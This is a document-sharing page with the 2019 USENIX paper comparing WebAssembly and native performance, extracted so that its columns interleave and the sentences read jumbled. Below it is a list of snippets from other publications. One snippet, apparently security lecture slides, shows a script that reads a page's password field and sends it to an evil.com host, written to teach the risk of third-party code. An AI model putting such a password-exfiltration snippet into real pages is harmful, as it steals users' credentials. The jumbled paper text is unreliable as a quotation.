DOCSLIB.ORG

Analyzing the Performance of Webassembly Vs. Native Code Abhinav Jangda, Bobby Powers, Emery D

Total Page：16

File Type：pdf, Size：1020Kb

Download full-text PDF Read full-text
Analyzing the Performance of Webassembly Vs. Native Code Abhinav Jangda, Bobby Powers, Emery D Not So Fast: Analyzing the Performance of WebAssembly vs. Native Code Abhinav Jangda, Bobby Powers, Emery D. Berger, and Arjun Guha, University of Massachusetts Amherst https://www.usenix.org/conference/atc19/presentation/jangda This paper is included in the Proceedings of the 2019 USENIX Annual Technical Conference. July 10–12, 2019 • Renton, WA, USA ISBN 978-1-939133-03-8 Open access to the Proceedings of the 2019 USENIX Annual Technical Conference is sponsored by USENIX. Not So Fast: Analyzing the Performance of WebAssembly vs. Native Code Abhinav Jangda, Bobby Powers, Emery D. Berger, and Arjun Guha University of Massachusetts Amherst Abstract WebAssembly is a low-level, statically typed language All major web browsers now support WebAssembly, a low- that does not require garbage collection, and supports in- level bytecode intended to serve as a compilation target for teroperability with JavaScript. The goal of WebAssembly code written in languages like C and C++. A key goal of Web- is to serve as a universal compiler target that can run in a Assembly is performance parity with native code; previous browser [15, 16, 18].1 Towards this end, WebAssembly is work reports near parity, with many applications compiled designed to be fast to compile and run, to be portable across to WebAssembly running on average 10% slower than na- browsers and architectures, and to provide formal guarantees tive code. However, this evaluation was limited to a suite of type and memory safety. Prior attempts at running code at of scientific kernels, each consisting of roughly 100 lines of native speed in the browser [4, 13, 14, 38], which we discuss code. Running more substantial applications was not possi- in related work, do not satisfy all of these criteria. ble because compiling code to WebAssembly is only part of WebAssembly is now supported by all major browsers [8, the puzzle: standard Unix APIs are not available in the web 34] and has been swiftly adopted by several programming browser environment. To address this challenge, we build languages. There are now backends for C, C++, C#, Go, BROWSIX-WASM, a significant extension to BROWSIX [29] and Rust [1, 2, 24, 39] that target WebAssembly. A curated that, for the first time, makes it possible to run unmodified list currently includes more than a dozen others [10]. Today, WebAssembly-compiled Unix applications directly inside the code written in these languages can be safely executed in browser. We then use BROWSIX-WASM to conduct the first browser sandboxes across any modern device once compiled large-scale evaluation of the performance of WebAssembly to WebAssembly. vs. native. Across the SPEC CPU suite of benchmarks, we A major goal of WebAssembly is to be faster than find a substantial performance gap: applications compiled to JavaScript. For example, the paper that introduced Web- WebAssembly run slower by an average of 45% (Firefox) to Assembly [18] showed that when a C program is compiled 55% (Chrome), with peak slowdowns of 2:08× (Firefox) and to WebAssembly instead of JavaScript (asm.js), it runs 34% 2:5× (Chrome). We identify the causes of this performance faster in Google Chrome. That paper also showed that the per- degradation, some of which are due to missing optimizations formance of WebAssembly is competitive with native code: and code generation issues, while others are inherent to the of the 24 benchmarks evaluated, the running time of seven WebAssembly platform. benchmarks using WebAssembly is within 10% of native code, and almost all of them are less than 2× slower than 1 Introduction native code. Figure1 shows that WebAssembly implementa- tions have continuously improved with respect to these bench- Web browsers have become the most popular platform for run- marks. In 2017, only seven benchmarks performed within ning user-facing applications, and until recently, JavaScript 1.1× of native, but by 2019, this number increased to 13. was the only programming language supported by all major These results appear promising, but they beg the question: web browsers. Beyond its many quirks and pitfalls from the are these 24 benchmarks representative of WebAssembly’s perspective of programming language design, JavaScript is intended use cases? also notoriously difficult to compile efficiently [12, 17, 30, 31]. Applications written in or compiled to JavaScript typ- 1The WebAssembly standard is undergoing active development, with ically run much slower than their native counterparts. To ongoing efforts to extend WebAssembly with features ranging from SIMD primitives and threading to tail calls and garbage collection. This paper address this situation, a group of browser vendors jointly focuses on the initial and stable version of WebAssembly [18], which is developed WebAssembly. supported by all major browsers. USENIX Association 2019 USENIX Annual Technical Conference 107 The Challenge of Benchmarking WebAssembly The PLDI 2017 April 2018 This paper aforementioned suite of 24 benchmarks is the PolybenchC 25 benchmark suite [5], which is designed to measure the ef- fect of polyhedral loop optimizations in compilers. All the 20 benchmarks in the suite are small scientific computing ker- 15 nels rather than full applications (e.g., matrix multiplication and LU Decomposition); each is roughly 100 LOC. While 10 WebAssembly is designed to accelerate scientific kernels on the Web, it is also explicitly designed for a much richer set of 5 full applications. benchmarks # of PolyBenchC The WebAssembly documentation highlights several in- 0 tended use cases [7], including scientific kernels, image edit- ing, video editing, image recognition, scientific visualization, < 2x of native simulations, programming language interpreters, virtual ma- < 1.1x of native < 1.5x of native < 2.5x of native chines, and POSIX applications. Therefore, WebAssembly’s Performance relative to native strong performance on the scientific kernels in PolybenchC do not imply that it will perform well given a different kind Figure 1: Number of PolyBenchC benchmarks performing of application. within x× of native. In 2017 [18], seven benchmarks per- We argue that a more comprehensive evaluation of Web- formed within 1.1× of native. In April 2018, we found that Assembly should rely on an established benchmark suite of 11 performed within 1.1× of native. In May 2019, 13 per- large programs, such as the SPEC CPU benchmark suites. formed with 1.1× of native. In fact, the SPEC CPU 2006 and 2017 suite of bench- marks include several applications that fall under the intended processes, files, pipes, blocking I/O, and other Unix fea- use cases of WebAssembly: eight benchmarks are scien- tures. Moreover, it includes a C/C++ compiler (based on tific applications (e.g., 433.milc, 444.namd, 447.dealII, Emscripten) that allows programs to run in the browser un- 450.soplex, and 470.lbm), two benchmarks involve image modified. The BROWSIX case studies include complex ap- and video processing (464.h264ref and 453.povray), and plications, such as LAT X, which runs entirely in the browser all of the benchmarks are POSIX applications. E without any source code modifications. Unfortunately, it is not possible to simply compile a sophis- ticated native program to WebAssembly. Native programs, Unfortunately, BROWSIX is a JavaScript-only solution, including the programs in the SPEC CPU suites, require oper- since it was built before the release of WebAssembly. More- ating system services, such as a filesystem, synchronous I/O, over, BROWSIX suffers from high performance overhead, and processes, which WebAssembly and the browser do not which would be a significant confounder while benchmarking. provide. The SPEC benchmarking harness itself requires a file Using BROWSIX, it would be difficult to tease apart the poorly system, a shell, the ability to spawn processes, and other Unix performing benchmarks from performance degradation intro- facilities. To overcome these limitations when porting native duced by BROWSIX. applications to the web, many programmers painstakingly modify their programs to avoid or mimic missing operating Contributions system services. Modifying well-known benchmarks, such as SPEC CPU, would not only be time consuming but would • BROWSIX-WASM: We develop BROWSIX-WASM, a also pose a serious threat to validity. significant extension to and enhancement of BROWSIX The standard approach to running these applications today that allows us to compile Unix programs to Web- is to use Emscripten, a toolchain for compiling C and C++ to Assembly and run them in the browser with no modifi- WebAssembly [39]. Unfortunately, Emscripten only supports cations. In addition to integrating functional extensions, the most trivial system calls and does not scale up to large- BROWSIX-WASM incorporates performance optimiza- scale applications. For example, to enable applications to use tions that drastically improve its performance, ensuring synchronous I/O, the default Emscripten MEMFS filesystem that CPU-intensive applications operate with virtually loads the entire filesystem image into memory before the no overhead imposed by BROWSIX-WASM (§2). program begins executing. For SPEC, these files are too large to fit into memory. • BROWSIX-SPEC: We develop BROWSIX-SPEC, a har- A promising alternative is to use BROWSIX, a framework ness that extends BROWSIX-WASM to allow automated that enables running unmodified, full-featured Unix appli- collection of detailed timing and hardware on-chip per- cations in the browser [28, 29]. BROWSIX implements a formance counter information
Load more

Recommended publications
  • Differential Fuzzing the Webassembly
    Master’s Programme in Security and Cloud Computing Differential Fuzzing the WebAssembly Master’s Thesis Gilang Mentari Hamidy MASTER’S THESIS Aalto University - EURECOM MASTER’STHESIS 2020 Differential Fuzzing the WebAssembly Fuzzing Différentiel le WebAssembly Gilang Mentari Hamidy This thesis is a public document and does not contain any confidential information. Cette thèse est un document public et ne contient aucun information confidentielle. Thesis submitted in partial fulfillment of the requirements for the degree of Master of Science in Technology. Antibes, 27 July 2020 Supervisor: Prof. Davide Balzarotti, EURECOM Co-Supervisor: Prof. Jan-Erik Ekberg, Aalto University Copyright © 2020 Gilang Mentari Hamidy Aalto University - School of Science EURECOM Master’s Programme in Security and Cloud Computing Abstract Author Gilang Mentari Hamidy Title Differential Fuzzing the WebAssembly School School of Science Degree programme Master of Science Major Security and Cloud Computing (SECCLO) Code SCI3084 Supervisor Prof. Davide Balzarotti, EURECOM Prof. Jan-Erik Ekberg, Aalto University Level Master’s thesis Date 27 July 2020 Pages 133 Language English Abstract WebAssembly, colloquially known as Wasm, is a specification for an intermediate representation that is suitable for the web environment, particularly in the client-side. It provides a machine abstraction and hardware-agnostic instruction sets, where a high-level programming language can target the compilation to the Wasm instead of specific hardware architecture. The JavaScript engine implements the Wasm specification and recompiles the Wasm instruction to the target machine instruction where the program is executed. Technically, Wasm is similar to a popular virtual machine bytecode, such as Java Virtual Machine (JVM) or Microsoft Intermediate Language (MSIL).
    [Show full text]
  • Oral History of Winifred Mitchell Baker
    ........ Computer • History Museum Oral History of Winifred Mitchell Baker Interviewed by: Marc Weber Recorded: December 10, 2014 Mountain View, California CHM Reference number: X7311.2015 © 2015 Computer History Museum Oral History of Winifred Mitchell Baker Marc Weber: I'm Marc Weber of the Computer History Museum. And I'm here with Mitchell Baker, Chairwoman of Mozilla. Thank you so much for doing this interview. Winifred Mitchell Baker: Thanks, Marc. I'm happy to be here. The museum has been a bright spot for a long time, so I'm honored as well. Weber: Thank you. As am I. So start with a bit of your background. What is your full name? And when and where were you born? Baker: My full name is Winifred Mitchell Baker. My mom was a little eccentric though, and she never wanted me to use Winifred. So it's my first name. But in her mind, I was always Mitchell. So that's what I go by. And I was born in Berkeley in California in 1959. Weber: And tell me a little bit about your family and where you grew up. Baker: I grew up in Oakland, so the East Bay across from San Francisco. It borders Berkeley. My parents were born and raised on the East Coast and moved west, as people did in the '50s, where it seemed [like] starting a new life. They were each eccentric. And each had their own view of their world and really clear opinions. And I think some of that has rubbed off actually. Weber: So eccentric in what way? What did they do? Baker: Well, my dad was a classic entrepreneur.
    [Show full text]
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Install and Configure Cisco Anyconnect VPN
    Install and Configure Cisco AnyConnect VPN PURPOSE: • Installing and configuring Cisco AnyConnect • Enabling and Disabling Cisco AnyConnect VERSION SUPPORTED: 4.5.02033 HOW TO INSTALL AND CONFIGURE CISCO ANYCONNECT VPN FOR WINDOWS: From the desktop, open up a web browser (Google Chrome, Mozilla Firefox, Microsoft Edge, or Internet Explorer). Note: Google Chrome will be used in this example. Type in vpn01.cu.edu into the address bar. You will reach a login page, login using your CU System Username and Password. Contact UIS Call: 303-860-4357 Email:[email protected] Click on the AnyConnect button on the bottom of the list on the left-hand side. Select the “Start AnyConnect” button on that page. It will then load a few items, after it finishes click the blue link for “AnyConnect VPN” Contact UIS Call: 303-860-4357 Email:[email protected] This will download the client in the web browser, in Google Chrome this shows up on the bottom section of the page, but other browsers may place the download in a different location. If you cannot find the download, it should go to the Downloads folder within Windows. Contact UIS Call: 303-860-4357 Email:[email protected] We will then run this download by clicking on it in Chrome. Other browsers may offer a “Run” option instead, which acts the same. It will then open up an installer. Click “Next.” Select the “I accept the terms in the License Agreement” button. Click “Next.” Contact UIS Call: 303-860-4357 Email:[email protected] Select “Install”, this will require the username and password you use to login to your personal computer.
    [Show full text]
  • Emscripten: an LLVM to Javascript Compiler
    Emscripten: An LLVM to JavaScript Compiler Alon Zakai Mozilla What? Why? Compiling to JavaScript ● The web is everywhere – PCs to iPads – No plugins, no installation required – Built on standards ● The web runs JavaScript Existing Compilers to JavaScript ● Google Web Toolkit: Java (Gmail, etc.) ● CoffeeScript ● Pyjamas: Python ● SCM2JS: Scheme ● JSIL: .NET bytecode ● (and many more) ● But C and C++ are missing! Emscripten ● Enables compiling C and C++ into JavaScript ● Written in JavaScript ● Open source http://emscripten.org https://github.com/kripken/emscripten Demos! ● Bullet ● SQLite ● Python, Ruby, Lua ● Real-world code – Large, complex codebases ● Manual ports exist – Typically partial and not up to date The Big Picture C or C++ LLVM Bitcode JavaScript Low Level Virtual Machine (LLVM) ● A compiler project (cf. GCC) ● Intermediate Representation: LLVM bitcode – Very well documented – Great tools ● Much easier to compile LLVM bitcode than compile C or C++ directly! How? Code Comparison #include <stdio.h> int main() { printf(“hello, world!\n”); return 0; } Code Comparison @.str = private unnamed_addr constant [15 x i8] c"hello, world!\0A\00", align 1 define i32 @main() { entry: %retval = alloca i32, align 4 call i32 (i8*, ...)* @printf(i8* getelementptr inbounds ([15 x i8]* @.str, i32 0, i32 0)) store i32 0, i32* %retval ret i32 %retval } Code Comparison define i32 @main() { function _main() { entry: %retval = alloca i32, var _retval; align 4 call i32 (i8*, ...)* _printf (..); @printf (..) store i32 0, i32* _retval = 0; %retval ret
    [Show full text]
  • Machine Learning in the Browser
    Machine Learning in the Browser The Harvard community has made this article openly available. Please share how this access benefits you. Your story matters Citable link http://nrs.harvard.edu/urn-3:HUL.InstRepos:38811507 Terms of Use This article was downloaded from Harvard University’s DASH repository, and is made available under the terms and conditions applicable to Other Posted Material, as set forth at http:// nrs.harvard.edu/urn-3:HUL.InstRepos:dash.current.terms-of- use#LAA Machine Learning in the Browser a thesis presented by Tomas Reimers to The Department of Computer Science in partial fulfillment of the requirements for the degree of Bachelor of Arts in the subject of Computer Science Harvard University Cambridge, Massachusetts March 2017 Contents 1 Introduction 3 1.1 Background . .3 1.2 Motivation . .4 1.2.1 Privacy . .4 1.2.2 Unavailable Server . .4 1.2.3 Simple, Self-Contained Demos . .5 1.3 Challenges . .5 1.3.1 Performance . .5 1.3.2 Poor Generality . .7 1.3.3 Manual Implementation in JavaScript . .7 2 The TensorFlow Architecture 7 2.1 TensorFlow's API . .7 2.2 TensorFlow's Implementation . .9 2.3 Portability . .9 3 Compiling TensorFlow into JavaScript 10 3.1 Motivation to Compile . 10 3.2 Background on Emscripten . 10 3.2.1 Build Process . 12 3.2.2 Dependencies . 12 3.2.3 Bitness Assumptions . 13 3.2.4 Concurrency Model . 13 3.3 Experiences . 14 4 Results 15 4.1 Benchmarks . 15 4.2 Library Size . 16 4.3 WebAssembly . 17 5 Developer Experience 17 5.1 Universal Graph Runner .
    [Show full text]
  • Replication: Why We Still Can't Browse in Peace
    Replication: Why We Still Can’t Browse in Peace: On the Uniqueness and Reidentifiability of Web Browsing Histories Sarah Bird, Ilana Segall, and Martin Lopatka, Mozilla https://www.usenix.org/conference/soups2020/presentation/bird This paper is included in the Proceedings of the Sixteenth Symposium on Usable Privacy and Security. August 10–11, 2020 978-1-939133-16-8 Open access to the Proceedings of the Sixteenth Symposium on Usable Privacy and Security is sponsored by USENIX. Replication: Why We Still Can’t Browse in Peace: On the Uniqueness and Reidentifiability of Web Browsing Histories Sarah Bird Ilana Segall Martin Lopatka Mozilla Mozilla Mozilla Abstract This work seeks to reproduce the findings of Olejnik, Castel- We examine the threat to individuals’ privacy based on the luccia, and Janc [48] regarding the leakage of private infor- feasibility of reidentifying users through distinctive profiles mation when users browse the web. The reach of large-scale of their browsing history visible to websites and third par- providers of analytics and advertisement services into the ties. This work replicates and extends the 2012 paper Why overall set of web properties shows a continued increase in Johnny Can’t Browse in Peace: On the Uniqueness of Web visibility [64] by such parties across a plurality of web prop- Browsing History Patterns [48]. The original work demon- erties. This makes the threat of history-based profiling even strated that browsing profiles are highly distinctive and stable. more tangible and urgent now than when originally proposed. We reproduce those results and extend the original work to detail the privacy risk posed by the aggregation of browsing 2 Background and related work histories.
    [Show full text]
  • Embedded Linux for Thin Clients Next Generation (Elux® NG) Version 1.25
    Embedded Linux for Thin Clients Next Generation (eLux® NG) Version 1.25 Administrator’s Guide Build Nr.: 23 UniCon Software GmbH www.myelux.com eLux® NG Information in this document is subject to change without notice. Companies, names and data used in examples herein are fictitious unless otherwise noted. No part of this document may be reproduced or transmitted in any form or by any means, electronic or mechanical, for any purpose, without the express consent of UniCon Software GmbH. © by UniCon 2005 Software GmbH. All rights reserved eLux is a registered trademark of UniCon Software GmbH in Germany. Accelerated-X is a trademark of Xi Graphics, Inc. Adobe, Acrobat Reader and PostScript are registered trademarks of Adobe Systems Incorporated in the United States and/or other countries. Broadcom is a registered trademark of Broadcom Corporation in the U.S. and/or other countries. CardOS is a registered trademark and CONNECT2AIR is a trademark of Siemens AG in Germany and/or other countries. Cisco and Aironet are registered trademarks of Cisco Systems, Inc. and/or its affiliates in the U.S. and certain other countries. Citrix, Independent Computing Architecture (ICA), Program Neighborhood, MetaFrame, and MetaFrame XP are registered trademarks or trademarks of Citrix Systems, Inc. in the United States and other countries. CUPS and the Common UNIX Printing System are the trademark property of Easy Software Products. DivX is a trademark of Project Mayo. Ericom and PowerTerm are registered trademarks of Ericom Software in the United States and/or other countries. Gemplus is a registered trademark and GemSAFE a trademark of Gemplus.
    [Show full text]
  • A Java Implementation of a Portable Desktop Manager Scott .J Griswold University of North Florida
    UNF Digital Commons UNF Graduate Theses and Dissertations Student Scholarship 1998 A Java Implementation of a Portable Desktop Manager Scott .J Griswold University of North Florida Suggested Citation Griswold, Scott .,J "A Java Implementation of a Portable Desktop Manager" (1998). UNF Graduate Theses and Dissertations. 95. https://digitalcommons.unf.edu/etd/95 This Master's Thesis is brought to you for free and open access by the Student Scholarship at UNF Digital Commons. It has been accepted for inclusion in UNF Graduate Theses and Dissertations by an authorized administrator of UNF Digital Commons. For more information, please contact Digital Projects. © 1998 All Rights Reserved A JAVA IMPLEMENTATION OF A PORTABLE DESKTOP MANAGER by Scott J. Griswold A thesis submitted to the Department of Computer and Information Sciences in partial fulfillment of the requirements for the degree of Master of Science in Computer and Information Sciences UNIVERSITY OF NORTH FLORIDA DEPARTMENT OF COMPUTER AND INFORMATION SCIENCES April, 1998 The thesis "A Java Implementation of a Portable Desktop Manager" submitted by Scott J. Griswold in partial fulfillment of the requirements for the degree of Master of Science in Computer and Information Sciences has been ee Date APpr Signature Deleted Dr. Ralph Butler Thesis Advisor and Committee Chairperson Signature Deleted Dr. Yap S. Chua Signature Deleted Accepted for the Department of Computer and Information Sciences Signature Deleted i/2-{/1~ Dr. Charles N. Winton Chairperson of the Department Accepted for the College of Computing Sciences and E Signature Deleted Dr. Charles N. Winton Acting Dean of the College Accepted for the University: Signature Deleted Dr.
    [Show full text]
  • HTML5 and the Open Web Platform
    HTML5 and the Open Web Platform Stuttgart 28 May 2013 Dave Raggett <[email protected]> The Open Web Platform What is the W3C? ● International community where Members, a full-time staff and the public collaborate to develop Web standards ● Led by Web inventor Tim Berners-Lee and CEO Jeff Jaffe ● Hosted by MIT, ERCIM, Keio and Beihang ● Community Groups open to all at no fee ● Business Groups get more staff support ● Technical Working Groups ● Develop specs into W3C Recommendations ● Participants from W3C Members and invited experts ● W3C Patent process for royalty free specifications 3 Who's involved ● W3C has 377 Members as of 11 May 2013 ● To name just a few ● ACCESS, Adobe, Akamai, Apple, Baidu, BBC, Blackberry (RIM), BT, Canon, Deutsche Telekom, eBay, Facebook, France Telecom, Fujitsu, Google, Hitachi, HP, Huawei, IBM, Intel, LG, Microsoft, Mozilla, NASA, NEC, NTT DoCoMo, Nuance, Opera Software, Oracle, Panasonic, Samsung, Siemens, Sony, Telefonica, Tencent, Vodafone, Yandex, … ● Full list at ● http://www.w3.org/Consortium/Member/List 4 The Open Web Platform 5 Open Web Platform ● Communicate with HTTP, Web Sockets, XML and JSON ● Markup with HTML5 ● Style sheets with CSS ● Rich graphics ● JPEG, PNG, GIF ● Canvas and SVG ● Audio and Video ● Scripting with JavaScript ● Expanding range of APIs ● Designed for the World's languages ● Accessibility with support for assistive technology 6 Hosted and Packaged Apps ● Hosted Web apps can be directly loaded from a website ● Packaged Web apps can be locally installed on a device and run without the need for access to a web server ● Zipped file containing all the necessary resources ● Manifest file with app meta-data – Old work on XML based manifests (Web Widgets) – New work on JSON based manifests ● http://w3c.github.io/manifest/ ● Pointer to app's cache manifest ● List of required features and permissions needed to run correctly ● Runtime and security model for web apps ● Privileged apps must be signed by installation origin's private key 7 HTML5 Markup ● Extensive range of features ● Structural, e.g.
    [Show full text]
  • Platform Independent Web Application Modeling and Development with Netsilon Pierre-Alain Muller, Philippe Studer, Frédéric Fondement, Jean Bézivin
    Platform independent Web application modeling and development with Netsilon Pierre-Alain Muller, Philippe Studer, Frédéric Fondement, Jean Bézivin To cite this version: Pierre-Alain Muller, Philippe Studer, Frédéric Fondement, Jean Bézivin. Platform independent Web application modeling and development with Netsilon. Software and Systems Modeling, Springer Ver- lag, 2005, 4 (4), pp.424-442. 10.1007/s10270-005-0091-4. inria-00120216 HAL Id: inria-00120216 https://hal.inria.fr/inria-00120216 Submitted on 21 Feb 2007 HAL is a multi-disciplinary open access L’archive ouverte pluridisciplinaire HAL, est archive for the deposit and dissemination of sci- destinée au dépôt et à la diffusion de documents entific research documents, whether they are pub- scientifiques de niveau recherche, publiés ou non, lished or not. The documents may come from émanant des établissements d’enseignement et de teaching and research institutions in France or recherche français ou étrangers, des laboratoires abroad, or from public or private research centers. publics ou privés. Platform Independent Web Application Modeling and Development with Netsilon PIERRE-ALAIN MULLER INRIA Rennes Campus de Beaulieu, Avenue du Général Leclerc, 35042 Rennes, France pa.muller@ uha.fr PHILIPPE STUDER ESSAIM/MIPS, Université de Haute-Alsace, 12 rue des Frères Lumière, 68093 Mulhouse, France ph.studer@ uha.fr FREDERIC FONDEMENT EPFL / IC / UP-LGL, INJ œ Station 14, CH-1015 Lausanne EPFL, Switzerland frederic.fondement@ epfl.ch JEAN BEZIVIN ATLAS Group, INRIA & LINA, Université de Nantes, 2, rue de la Houssinière, BP 92208, 44322 Nantes, France jean.bezivin@ lina.univ-nantes.fr Abstract. This paper discusses platform independent Web application modeling and development in the context of model-driven engineering.
    [Show full text]
  • Maelstrom Web Browser Free Download
    maelstrom web browser free download 11 Interesting Web Browsers (That Aren’t Chrome) Whether it’s to peruse GitHub, send the odd tweetstorm or catch-up on the latest Netflix hit — Chrome’s the one . But when was the last time you actually considered any alternative? It’s close to three decades since the first browser arrived; chances are it’s been several years since you even looked beyond Chrome. There’s never been more choice and variety in what you use to build sites and surf the web (the 90s are back, right?) . So, here’s a run-down of 11 browsers that may be worth a look, for a variety of reasons . Brave: Stopping the trackers. Brave is an open-source browser, co-founded by Brendan Eich of Mozilla and JavaScript fame. It’s hoping it can ‘save the web’ . Available for a variety of desktop and mobile operating systems, Brave touts itself as a ‘faster and safer’ web browser. It achieves this, somewhat controversially, by automatically blocking ads and trackers. “Brave is the only approach to the Web that puts users first in ownership and control of their browsing data by blocking trackers by default, with no exceptions.” — Brendan Eich. Brave’s goal is to provide an alternative to the current system publishers employ of providing free content to users supported by advertising revenue. Developers are encouraged to contribute to the project on GitHub, and publishers are invited to become a partner in order to work towards an alternative way to earn from their content. Ghost: Multi-session browsing.
    [Show full text]